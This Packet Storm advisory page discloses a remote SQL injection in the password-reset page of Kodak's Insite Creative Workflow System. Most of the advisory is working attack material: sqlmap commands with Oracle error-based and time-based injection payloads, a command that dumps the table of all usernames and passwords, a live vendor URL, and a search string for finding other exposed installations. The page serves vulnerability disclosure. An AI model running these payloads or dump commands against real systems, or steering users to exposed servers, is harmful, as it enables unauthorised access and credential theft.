what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Kodak Insite Creative Workflow System SQL Injection

Kodak Insite Creative Workflow System SQL Injection
Posted Feb 19, 2013
Authored by Robert at Hipcrime

Kodak's Insite Creative Workflow System suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | dfd8885731a743f54a2b98717b42b9119da28cb80197e4c3bcd619044a40a31f

Kodak Insite Creative Workflow System SQL Injection

Change Mirror Download
Hello ...

While investigating a recent installation of Kodak's Insite Creative
Workflow System (for my current employer), an SQL Injection vulnerability
was discovered in its "Forgot Your Password?" page.

An example of this application can be seen on the Kodak site.

https://creativeworkflow.kodak.com/TwAmWeb/login.asp

Many other copies of Kodak Insite can be located with any search engine
by looking for the string "insite creative login".

Our installation was setup on an internal site, and as such, SQLMAP was
applied to our local copy, as follows.

sqlmap.py -u 'http://localhost/TwAmWeb/EmailPassword.asp'
--data='user_name=1&Language=en' -p user_name --risk=3 --level=5 -o

sqlmap identified the following injection points with a total of 163
HTTP(s) requests:
---
Place: POST
Parameter: user_name
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: user_name=1') AND 5065=(SELECT
UPPER(XMLType(CHR(60)||CHR(58)||CHR(118)||CHR(110)||CHR(101)||CHR(58)||(SELECT
(CASE WHEN (5065=5065) THEN 1 ELSE 0
END) FROM
DUAL)||CHR(58)||CHR(116)||CHR(121)||CHR(112)||CHR(58)||CHR(62))) FROM
DUAL) AND ('yCTb'='yCTb&Language=en

Type: AND/OR time-based blind
Title: Oracle OR time-based blind
Payload: user_name=-2979') OR
1635=DBMS_PIPE.RECEIVE_MESSAGE(CHR(76)||CHR(80)||CHR(114)||CHR(122),5)
AND ('NjHU'='NjHU&Language=en
---
[11:52:56] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Oracle
[11:52:56] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 44 times

A little fishing around and it becomes obvious that all usernames/passwords
can be downloaded like this:

sqlmap.py -u 'http://localhost/TwAmWeb/EmailPassword.asp'
--data='user_name=1&Language=en' --risk=3 --level=5 -o -D PRINERGY -T
DBCS_REMOTEUSER --columns --dump

Supposedly Kodak will be releasing a fix in September.

... Robert




Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close